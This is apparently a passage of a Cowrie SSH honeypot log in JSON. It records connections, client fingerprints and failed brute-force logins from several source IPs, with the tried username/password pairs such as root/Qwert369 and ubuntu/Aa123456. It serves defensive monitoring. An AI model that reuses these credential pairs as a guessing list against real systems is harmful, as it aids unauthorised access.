{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:20.848114Z","src_ip":"91.92.40.36","session":"374c6cb0eaec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16022,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6555c3f79de","protocol":"ssh","message":"New connection: 91.92.40.36:16022 (10.17.0.5:22) [session: a6555c3f79de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:22.947246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:24.049495Z","src_ip":"91.92.40.36","session":"a6555c3f79de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:24.053160Z","src_ip":"91.92.40.36","session":"a6555c3f79de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55658,"dst_ip":"10.17.0.5","dst_port":22,"session":"16aed4c28208","protocol":"ssh","message":"New connection: 91.92.40.36:55658 (10.17.0.5:22) [session: 16aed4c28208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:28.870303Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1","message":"login attempt [user1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:29.211763Z","src_ip":"91.92.40.36","session":"374c6cb0eaec","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:31.082490Z","src_ip":"91.92.40.36","session":"16aed4c28208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:31.105393Z","src_ip":"91.92.40.36","session":"16aed4c28208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carlos","password":"carlos","message":"login attempt [carlos/carlos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:32.062818Z","src_ip":"91.92.40.36","session":"a6555c3f79de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:32.875430Z","src_ip":"91.92.40.36","session":"374c6cb0eaec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:35.889649Z","src_ip":"91.92.40.36","session":"a6555c3f79de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56882,"dst_ip":"10.17.0.5","dst_port":22,"session":"36390709ad6e","protocol":"ssh","message":"New connection: 91.92.40.36:56882 (10.17.0.5:22) [session: 36390709ad6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:37.790885Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.162.56","src_port":35518,"dst_ip":"159.203.135.109","dst_port":22,"session":"0458b49a7a47","protocol":"ssh","message":"New connection: 103.101.162.56:35518 (159.203.135.109:22) [session: 0458b49a7a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:38.344031Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:38.367007Z","src_ip":"103.101.162.56","session":"0458b49a7a47","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:39.346805Z","src_ip":"91.92.40.36","session":"36390709ad6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:39.350167Z","src_ip":"91.92.40.36","session":"36390709ad6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:39.495571Z","src_ip":"91.92.40.36","session":"16aed4c28208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:42.116000Z","src_ip":"91.92.40.36","session":"16aed4c28208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":57772,"dst_ip":"10.17.0.5","dst_port":22,"session":"a17bc2a848bf","protocol":"ssh","message":"New connection: 45.78.204.254:57772 (10.17.0.5:22) [session: a17bc2a848bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:42.235608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:42.246296Z","src_ip":"45.78.204.254","session":"a17bc2a848bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:42.485107Z","src_ip":"45.78.204.254","session":"a17bc2a848bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwert369","message":"login attempt [root/Qwert369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:43.469391Z","src_ip":"45.78.204.254","session":"a17bc2a848bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing","message":"login attempt [testing/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:44.654196Z","src_ip":"91.92.40.36","session":"36390709ad6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:44.709816Z","src_ip":"45.78.204.254","session":"a17bc2a848bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":31900,"dst_ip":"159.203.135.109","dst_port":22,"session":"3364f30afa60","protocol":"ssh","message":"New connection: 38.93.206.2:31900 (159.203.135.109:22) [session: 3364f30afa60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:44.765023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:44.773235Z","src_ip":"38.93.206.2","session":"3364f30afa60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:44.823899Z","src_ip":"38.93.206.2","session":"3364f30afa60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140281","message":"login attempt [root/140281] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:44.978773Z","src_ip":"38.93.206.2","session":"3364f30afa60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:46.031871Z","src_ip":"38.93.206.2","session":"3364f30afa60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:46.239923Z","src_ip":"91.92.40.36","session":"36390709ad6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":38802,"dst_ip":"159.203.135.109","dst_port":22,"session":"e31c37e215a6","protocol":"ssh","message":"New connection: 14.63.196.175:38802 (159.203.135.109:22) [session: e31c37e215a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:47.014869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:47.019159Z","src_ip":"14.63.196.175","session":"e31c37e215a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:47.221543Z","src_ip":"14.63.196.175","session":"e31c37e215a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30178,"dst_ip":"10.17.0.5","dst_port":22,"session":"15cf83395004","protocol":"ssh","message":"New connection: 91.92.40.36:30178 (10.17.0.5:22) [session: 15cf83395004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:47.239430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:47.781711Z","src_ip":"91.92.40.36","session":"15cf83395004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:47.785531Z","src_ip":"91.92.40.36","session":"15cf83395004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,./","message":"login attempt [root/zxcvbnm,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:48.068571Z","src_ip":"14.63.196.175","session":"e31c37e215a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:49.275010Z","src_ip":"14.63.196.175","session":"e31c37e215a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jc123456","message":"login attempt [root/Jc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:51.079977Z","src_ip":"91.92.40.36","session":"15cf83395004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:52.673020Z","src_ip":"91.92.40.36","session":"15cf83395004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30196,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f888ece8023","protocol":"ssh","message":"New connection: 91.92.40.36:30196 (10.17.0.5:22) [session: 5f888ece8023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:56.365543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:56.935088Z","src_ip":"91.92.40.36","session":"5f888ece8023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@op